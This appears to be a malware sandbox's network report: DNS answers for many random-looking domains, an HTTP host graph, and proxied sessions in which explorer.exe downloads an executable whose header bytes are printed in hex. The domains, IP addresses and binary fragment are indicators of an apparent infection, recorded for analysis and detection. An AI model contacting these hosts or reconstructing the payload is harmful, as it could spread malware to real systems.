Oct 13, 2023 16:05:34.041980982 CEST	1.1.1.1	192.168.2.4	0xcdc4	No error (0)	snukerukeutit.org		35.205.61.67	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:34.042001009 CEST	1.1.1.1	192.168.2.4	0xcdc4	No error (0)	snukerukeutit.org		35.205.61.67	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:34.042011023 CEST	1.1.1.1	192.168.2.4	0xcdc4	No error (0)	snukerukeutit.org		35.205.61.67	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:41.770062923 CEST	1.1.1.1	192.168.2.4	0xf41c	No error (0)	lightseinsteniki.org		34.143.166.163	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:48.939296961 CEST	1.1.1.1	192.168.2.4	0x13c1	No error (0)	liuliuoumumy.org		34.143.166.163	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:48.939320087 CEST	1.1.1.1	192.168.2.4	0x13c1	No error (0)	liuliuoumumy.org		34.143.166.163	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:48.939330101 CEST	1.1.1.1	192.168.2.4	0x13c1	No error (0)	liuliuoumumy.org		34.143.166.163	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:48.939342022 CEST	1.1.1.1	192.168.2.4	0x13c1	No error (0)	liuliuoumumy.org		34.143.166.163	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:50.907661915 CEST	1.1.1.1	192.168.2.4	0x6a85	No error (0)	stualialuyastrelia.net		91.215.85.17	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:58.494189978 CEST	1.1.1.1	192.168.2.4	0xb9c3	No error (0)	api.2ip.ua		104.21.65.24	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:58.494189978 CEST	1.1.1.1	192.168.2.4	0xb9c3	No error (0)	api.2ip.ua		172.67.139.220	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:03.161359072 CEST	1.1.1.1	192.168.2.4	0x2055	No error (0)	alayyadcare.com		213.6.54.58	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:07.588042021 CEST	1.1.1.1	192.168.2.4	0xf5e8	No error (0)	montereyclub.org		104.21.21.57	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:07.588042021 CEST	1.1.1.1	192.168.2.4	0xf5e8	No error (0)	montereyclub.org		172.67.196.133	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888056040 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		195.158.3.162	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888056040 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888056040 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888056040 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		187.212.189.11	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888056040 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888056040 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888056040 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		211.104.254.139	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888056040 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888056040 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		201.119.22.36	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888056040 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		190.224.203.37	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888175964 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		195.158.3.162	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888175964 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888175964 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888175964 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		187.212.189.11	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888175964 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888175964 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888175964 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		211.104.254.139	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888175964 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888175964 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		201.119.22.36	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888175964 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		190.224.203.37	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888189077 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		195.158.3.162	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888189077 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888189077 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888189077 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		187.212.189.11	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888189077 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888189077 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888189077 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		211.104.254.139	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888189077 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888189077 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		201.119.22.36	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.888189077 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		190.224.203.37	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961075068 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		115.88.24.200	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961075068 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		2.180.10.7	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961075068 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		211.59.14.90	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961075068 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		211.171.233.129	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961075068 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961075068 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		123.140.161.243	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961075068 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		175.119.10.231	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961075068 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		190.219.136.87	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961075068 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		181.170.86.159	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961075068 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		187.209.140.74	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961220026 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		115.88.24.200	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961220026 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		2.180.10.7	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961220026 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		211.59.14.90	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961220026 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		211.171.233.129	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961220026 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961220026 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		123.140.161.243	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961220026 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		175.119.10.231	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961220026 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		190.219.136.87	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961220026 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		181.170.86.159	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961220026 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		187.209.140.74	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961237907 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		115.88.24.200	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961237907 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		2.180.10.7	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961237907 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		211.59.14.90	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961237907 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		211.171.233.129	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961237907 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961237907 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		123.140.161.243	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961237907 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		175.119.10.231	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961237907 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		190.219.136.87	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961237907 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		181.170.86.159	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.961237907 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		187.209.140.74	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139225960 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		201.119.22.36	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139225960 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139225960 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139225960 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		190.224.203.37	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139225960 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139225960 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139225960 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		211.104.254.139	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139225960 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139225960 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		195.158.3.162	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139225960 CEST	1.1.1.1	192.168.2.4	0xdc06	No error (0)	colisumy.com		187.212.189.11	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139252901 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		181.170.86.159	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139252901 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		2.180.10.7	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139252901 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		211.59.14.90	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139252901 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		211.171.233.129	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139252901 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		180.94.156.61	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139252901 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		187.209.140.74	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139252901 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		175.119.10.231	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139252901 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		190.219.136.87	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139252901 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		115.88.24.200	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.139252901 CEST	1.1.1.1	192.168.2.4	0xac0d	No error (0)	zexeq.com		123.140.161.243	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.646110058 CEST	1.1.1.1	192.168.2.4	0x9acb	No error (0)	loveperry.org		104.21.86.8	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.646110058 CEST	1.1.1.1	192.168.2.4	0x9acb	No error (0)	loveperry.org		172.67.213.185	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:16.630585909 CEST	1.1.1.1	192.168.2.4	0xe31c	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:18.875399113 CEST	1.1.1.1	192.168.2.4	0x91a9	No error (0)	iplogger.com		148.251.234.93	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:18.876617908 CEST	1.1.1.1	192.168.2.4	0x891a	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 13, 2023 16:06:18.877249956 CEST	1.1.1.1	192.168.2.4	0x23ee	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 13, 2023 16:06:18.877249956 CEST	1.1.1.1	192.168.2.4	0x23ee	No error (0)	clients.l.google.com		142.250.72.238	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:18.884754896 CEST	1.1.1.1	192.168.2.4	0xad48	No error (0)	accounts.google.com		172.217.14.109	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:20.811387062 CEST	1.1.1.1	192.168.2.4	0x6892	No error (0)	www.google.com		172.217.14.100	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:20.811630011 CEST	1.1.1.1	192.168.2.4	0xdd5f	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 13, 2023 16:06:21.070173979 CEST	1.1.1.1	192.168.2.4	0x9367	No error (0)	www.google.com		172.217.12.132	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:21.070305109 CEST	1.1.1.1	192.168.2.4	0xfddb	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 13, 2023 16:06:34.261666059 CEST	1.1.1.1	192.168.2.4	0x329	No error (0)	www.google.com		142.250.68.36	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:34.261827946 CEST	1.1.1.1	192.168.2.4	0x8157	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 13, 2023 16:06:35.844909906 CEST	1.1.1.1	192.168.2.4	0x83f7	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:36.273211002 CEST	1.1.1.1	192.168.2.4	0xa03d	No error (0)	wirtshauspost.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:36.273211002 CEST	1.1.1.1	192.168.2.4	0xa03d	No error (0)	wirtshauspost.at		167.61.135.252	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:36.273211002 CEST	1.1.1.1	192.168.2.4	0xa03d	No error (0)	wirtshauspost.at		95.107.163.44	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:36.273211002 CEST	1.1.1.1	192.168.2.4	0xa03d	No error (0)	wirtshauspost.at		201.124.243.137	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:36.273211002 CEST	1.1.1.1	192.168.2.4	0xa03d	No error (0)	wirtshauspost.at		123.213.233.131	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:36.273211002 CEST	1.1.1.1	192.168.2.4	0xa03d	No error (0)	wirtshauspost.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:36.273211002 CEST	1.1.1.1	192.168.2.4	0xa03d	No error (0)	wirtshauspost.at		211.181.24.132	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:36.273211002 CEST	1.1.1.1	192.168.2.4	0xa03d	No error (0)	wirtshauspost.at		95.86.30.3	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:36.273211002 CEST	1.1.1.1	192.168.2.4	0xa03d	No error (0)	wirtshauspost.at		211.181.24.133	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:36.273211002 CEST	1.1.1.1	192.168.2.4	0xa03d	No error (0)	wirtshauspost.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:49.526710987 CEST	1.1.1.1	192.168.2.4	0x3205	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 13, 2023 16:06:49.526710987 CEST	1.1.1.1	192.168.2.4	0x3205	No error (0)	clients.l.google.com		172.217.14.78	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:49.526814938 CEST	1.1.1.1	192.168.2.4	0x64f0	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 13, 2023 16:06:49.527708054 CEST	1.1.1.1	192.168.2.4	0xa630	No error (0)	accounts.google.com		142.250.72.141	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:49.649651051 CEST	1.1.1.1	192.168.2.4	0x83c0	No error (0)	www.google.com		142.250.176.4	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:49.649691105 CEST	1.1.1.1	192.168.2.4	0x738a	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 13, 2023 16:06:51.316863060 CEST	1.1.1.1	192.168.2.4	0xfba	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 13, 2023 16:06:51.317286015 CEST	1.1.1.1	192.168.2.4	0xd961	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 13, 2023 16:06:51.317286015 CEST	1.1.1.1	192.168.2.4	0xd961	No error (0)	clients.l.google.com		142.250.68.14	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:52.708409071 CEST	1.1.1.1	192.168.2.4	0x514c	No error (0)	accounts.google.com		172.217.14.109	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:52.716120005 CEST	1.1.1.1	192.168.2.4	0xc507	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 13, 2023 16:06:52.716319084 CEST	1.1.1.1	192.168.2.4	0x12ac	No error (0)	www.google.com		142.250.188.228	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:56.194561005 CEST	1.1.1.1	192.168.2.4	0x64e6	No error (0)	h171008.srv22.test-hf.su		91.227.16.22	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:56.194621086 CEST	1.1.1.1	192.168.2.4	0x64e6	No error (0)	h171008.srv22.test-hf.su		91.227.16.22	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.bing.com

fs.microsoft.com

slscr.update.microsoft.com

rlibwtvoeubbxd.net

onualituyrs.org

api.2ip.ua

alayyadcare.com

montereyclub.org

loveperry.org

t.me

accounts.google.com

clients2.google.com

iplogger.com

www.google.com

https:

umwatson.events.data.microsoft.com

gpbnoqvsxbcp.org

sumagulituyo.org

prqnjnajkap.net

snukerukeutit.org

bdanntiwevcgpp.com

lightseinsteniki.org

llybtupcxpcxraqh.com

liuliuoumumy.org

igyqdijxhfb.org

stualialuyastrelia.net

rkcquwyfjhmojxwv.com

ucndbulbicjarfe.net

nxgllxnkvgojlui.net

hggfpuhxaotw.com

awqabaatldepfnxf.org

79.137.192.18

wurngbprhyl.org

ebqgbvxgncxmv.net

fnxsexpkrknukw.com

tbtsoesimoh.net

zexeq.com

colisumy.com

dcdvouvoaqndq.net

qlstgqoxcitvlqqq.net

171.22.28.219

rmhggtskpagd.org

epywvlesmbuh.org

tbapcagufstau.org

49.12.118.151:8000

gsqfdexpwmvhm.net

bywsdutnmcxljxkc.com

172.86.98.101

ekgsydwsdxkct.com

wirtshauspost.at

wrjyhdcddnrlaq.org

bldceheaiiexljb.net

liwuhirgmttlshw.com

vhlfocplponkgqvs.org

dgbywbwxjuxfrti.net

lwnojicclysnf.com

yetsqxvwigm.net

tscjxyipynsl.org

buvtljsohsw.com

qrqnpkojouygdl.net

prnahhsjwxqxfqs.org

qwvorutbuvfirqq.org

jyjulguorwfkxufi.org

h171008.srv22.test-hf.su

nlkrilwmydwmqv.com

grmakddshdg.net

kewmdriphuvsduyb.com

manguvorpmi.pw

xebyoablxnmhpm.org

bkysnqupktuv.org

anxptgfctoskqk.net

pichubrmdfy.org

kpcakvtrhjjxa.net

xmnakrijmtfxirjl.org

edyydofnkbmnggjw.com

pjsnqoowjnjp.net

uyskehfolvnav.com

bqdppsmhorpkh.com

uvybqkgojrrjgnc.org

luyejolylkrmfqxs.org

sdqkpghiomok.com

wnheuxwtlsdf.net

pugogpyiqovdlc.net

eagoktmishoyxj.net

jworyxyouka.net

hutygrlfscsiokci.net

xvurxfrigmadyp.com

nbmwwpoobkw.com

ltuealxsferlyri.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49741	173.222.162.49	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:04:53 UTC	0	OUT	GET /aes/c.gif?type=mv&reqver=1.0&rg=4313b38743954e2f85ce0de6d3baa687&tids=15000&med=10&pubId=251978541&TIME=20231013T140448Z&adUnitId=11730597&localId=w:EFC142BC-E096-E7E8-870F-847592C54827&deviceId=6755458847199546&anid=32C890401799B619C6BCE0B3FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: www.bing.com Connection: Keep-Alive Cookie: MUID=196B57D405F96A6E04AE447404176B64; MUIDB=196B57D405F96A6E04AE447404176B64
2023-10-13 14:04:53 UTC	0	IN	HTTP/1.1 200 OK Cache-Control: private,no-store Pragma: no-cache Vary: Origin P3P: CP=BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: AD7F2A6292B14871BD7FC8D69A092BE0 Ref B: PAOEDGE0519 Ref C: 2023-10-13T14:04:53Z Content-Length: 0 Date: Fri, 13 Oct 2023 14:04:53 GMT Connection: close Set-Cookie: _EDGE_S=SID=2574BDFD4CD26C3812CEAE544D566D70; path=/; httponly; domain=bing.com Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.31a6dc17.1697205893.1b055ce

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49743	23.36.118.84	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:05:01 UTC	1	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2023-10-13 14:05:01 UTC	1	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: Kestrel X-CID: 11 Cache-Control: public, max-age=58323 Date: Fri, 13 Oct 2023 14:05:01 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49769	104.21.65.24	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:04 UTC	57	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	213.6.54.58	443	192.168.2.4	49767	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:04 UTC	58	IN	HTTP/1.1 200 OK Date: Fri, 13 Oct 2023 14:06:04 GMT Server: Apache Content-Description: File Transfer Content-Disposition: attachment; filename=8a70958c.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Connection: close Transfer-Encoding: chunked Content-Type: application/octet-stream
2023-10-13 14:06:04 UTC	58	IN	Data Raw: 32 30 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 75 03 0d 8c 31 62 63 df 31 62 63 df 31 62 63 df 2f 30 e7 df 1c 62 63 df 2f 30 f6 df 27 62 63 df 2f 30 e0 df b3 62 63 df 16 a4 18 df 36 62 63 df 31 62 62 df b8 62 63 df 2f 30 e9 df 30 62 63 df 2f 30 f7 df 30 62 63 df 2f 30 f2 df 30 62 63 df 52 69 63 68 31 62 63 df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 5d 65 ec 63 00 00 00 00 00 Data Ascii: 2000MZ@!L!This program cannot be run in DOS mode.$u1bc1bc1bc/0bc/0'bc/0bc6bc1bbbc/00bc/00bc/00bcRich1bcPEL]ec
